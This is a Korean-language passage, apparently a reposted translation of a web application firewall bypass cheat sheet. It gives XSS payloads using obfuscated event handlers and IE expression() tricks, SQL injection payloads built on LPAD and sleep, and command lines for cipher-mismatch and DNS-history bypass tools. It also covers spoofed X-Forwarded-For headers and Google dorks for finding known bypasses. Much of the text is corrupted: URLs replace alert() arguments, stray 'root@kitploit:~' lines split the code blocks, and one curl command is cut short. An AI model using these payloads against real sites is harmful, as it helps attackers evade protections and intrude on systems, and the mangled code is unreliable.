  • 하지만 %, //, !, ? 등과 같은 특수 문자를 사용할 수 있습니다.

예시:

  • <// style=x:expression\28write(1)\29> - IE7까지 작동 (출처)
  • <!--[if]><script>alert(1)</script --> - IE9까지 작동 (참고)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - IE7에서 작동 (참고)
  • <%div%20style=xss:expression(prompt(1))> - IE7까지 작동

유니코드 구분자:

  • 각 브라우저는 고유한 구분자 문자 집합을 가지고 있습니다.
  • 0x00에서 0xFF까지의 문자 집합을 퍼징하여 각 브라우저의 구분자 집합을 얻을 수 있습니다.
  • 이러한 구분자를 공백이 필요한 자리에 사용할 수 있습니다.

다음은 @Masato Kinugawa가 정리한 구분자 목록입니다:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

이색적인 페이로드 예시:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### 비전형적인 동등 구문 구조 사용
- 이 방법은 WAF 개발자가 고려하지 않은 공격 방법을 찾는 것을 목표로 합니다.
- 일부 사용 사례는 WAF가 페이로드를 전혀 탐지할 수 없는 치명적인 수준으로 변형될 수 있습니다.
- 이 페이로드는 방화벽을 통과한 후 서버에 의해 수락되고 실행됩니다.

WAF 개발자가 간과하는 일반적인 키워드:
- JavaScript 함수:
    - `window`
    - `parent`
    - `this`
    - `self`
- 태그 속성:
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- SQL 연산자
    - `lpad`
    - `field`
    - `bit_count`

예제 페이로드:  
- __사례:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
  • 사례: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
root@kitploit:~
원본 JavaScript에 대한 많은 대안을 사용할 수 있습니다:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> 하지만 위 구문 구조를 사용할 때의 문제는 긴 페이로드로 인해 WAF에 탐지되거나 CSP에 의해 차단될 수 있다는 점입니다. 그러나 상황에 따라 CSP(존재하는 경우)도 우회할 수 있습니다. ;)

### SSL/TLS 암호 남용:
- 서버는 다양한 SSL/TLS 암호 및 버전의 연결을 수락하는 경우가 많습니다.
- WAF에서 지원하지 않는 암호를 사용하여 서버에 연결을 초기화하면 작업을 수행할 수 있습니다.

#### 기술:
- 방화벽에서 지원하는 암호를 찾아냅니다(보통 WAF 공급업체 문서에서 이 내용을 다룹니다).
- 서버에서 지원하는 암호를 확인합니다([SSLScan](https://github.com/rbsec/sslscan)과 같은 도구가 도움이 됩니다).
- WAF에서는 지원하지 않지만 서버에서는 지원하는 특정 암호가 발견되면, 짜잔!
- 해당 특정 암호로 서버에 새 연결을 시작하면 페이로드를 몰래 전달할 수 있습니다.

> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>

CLI 도구들, 예를 들어 cURL과 같은 것들은 PoC에 매우 유용할 수 있습니다:``` curl --ciphers -G -d

root@kitploit:~
### HTTP 응답에서 WAF 제한 악용
#### 방법
- 많은 경우, WAF는 처리하도록 설계된 HTTP 요청의 _양_에 제한이 있습니다.
- 제한보다 __더 큰__ 크기의 HTTP 요청을 보내면 WAF를 완전히 우회할 수 있습니다.

#### 기술
- 시행착오 접근법을 사용하여 WAF가 HTTP 요청의 얼마나 많은 부분을 검사하는지 알아냅니다(보통 4kB의 배수).
- 완료되면 제한을 쓰레기 데이터로 채운 후 요청에 페이로드를 첨부합니다.

> 유사한 기술이 [Google Cloud Platform WAF 우회](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf)에 사용되었습니다.

### DNS 기록 남용:
- 종종 오래된 DNS 기록은 WAF 뒤에 있는 사이트의 위치에 대한 정보를 제공합니다.
- 목표는 사이트의 위치를 얻어 WAF를 통하지 않고 사이트에 직접 요청을 라우팅할 수 있도록 하는 것입니다.
> __팁:__ [IP History](http://www.iphistory.ch/en/) 및 [DNS Trails](https://securitytrails.com/dns-trails)와 같은 일부 온라인 서비스는 정찰 과정에서 도움이 됩니다.  

__도구__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

화이트리스트 문자열 사용:

방법:

  • 일부 WAF 개발자는 사용자/개발자와 공유 비밀을 유지하여 유해한 쿼리를 WAF를 통과시킬 수 있도록 합니다.
  • 이 공유 비밀은 유출되거나 알려질 경우 WAF 내 모든 보호를 우회하는 데 사용될 수 있습니다.

기법:

  • GET/POST/PUT/DELETE 요청에서 화이트리스트 문자열을 매개변수로 사용하면 WAF를 통해 페이로드를 밀반입할 수 있습니다.
  • 일반적으로 *-sync-request 키워드 또는 공유 토큰 값이 비밀로 사용됩니다.
  • 특정 헤더를 추가하면 유사한 화이트리스트 동작이 트리거되는 경우가 많습니다.

이제 서버에 요청을 할 때, 이를 매개변수로 추가할 수 있습니다:``` http://host.com/?randomparameter=&=True

root@kitploit:~
> 이 작동 방식의 실제 예는 [이 블로그](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/)에서 확인할 수 있습니다.

### 요청 헤더 스푸핑:
#### 방법:
- 목표는 WAF/서버가 이를 내부 네트워크에서 온 것으로 믿게 만드는 것입니다.
- 내부 네트워크를 나타내는 일부 스푸핑된 헤더를 추가하면 효과가 있습니다.

#### 기법:
- 각 요청마다 일부 헤더 세트를 동시에 추가하여 출처를 스푸핑합니다.
- 업스트림 프록시/WAF는 요청이 내부 네트워크에서 온 것으로 잘못 해석하고, 우리의 무서운 페이로드를 통과시킵니다.

사용되는 일반적인 헤더:```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks 접근법:

방법:

  • 다양한 웹 애플리케이션 방화벽의 알려진 우회 방법이 많이 있습니다 (섹션 참조).
  • Google Dorks의 도움으로 우회 방법을 쉽게 찾을 수 있습니다.

기술:

우선, Google Dorks Cheat Sheet에서 기술을 연마해야 합니다.

  • 일반 검색:
    +<wafname> waf bypass

  • 특정 버전 익스플로잇 검색:
    "<wafname> <version>" (bypass|exploit)

  • 특정 유형 우회 익스플로잇:
    "<wafname>" +<bypass type> (bypass|exploit)

  • Exploit DB에서:
    site:exploit-db.com +<wafname> bypass

  • 0Day Inject0r DB에서:
    site:0day.today +<wafname> <type> (bypass|exploit)

  • Twitter에서:
    site:twitter.com +<wafname> bypass

  • Pastebin에서:
    site:pastebin.com +<wafname> bypass

알려진 우회 방법:

Airlock Ergon

root@kitploit:~

---

[Read more](https://github.com/0xinfection/awesome-waf)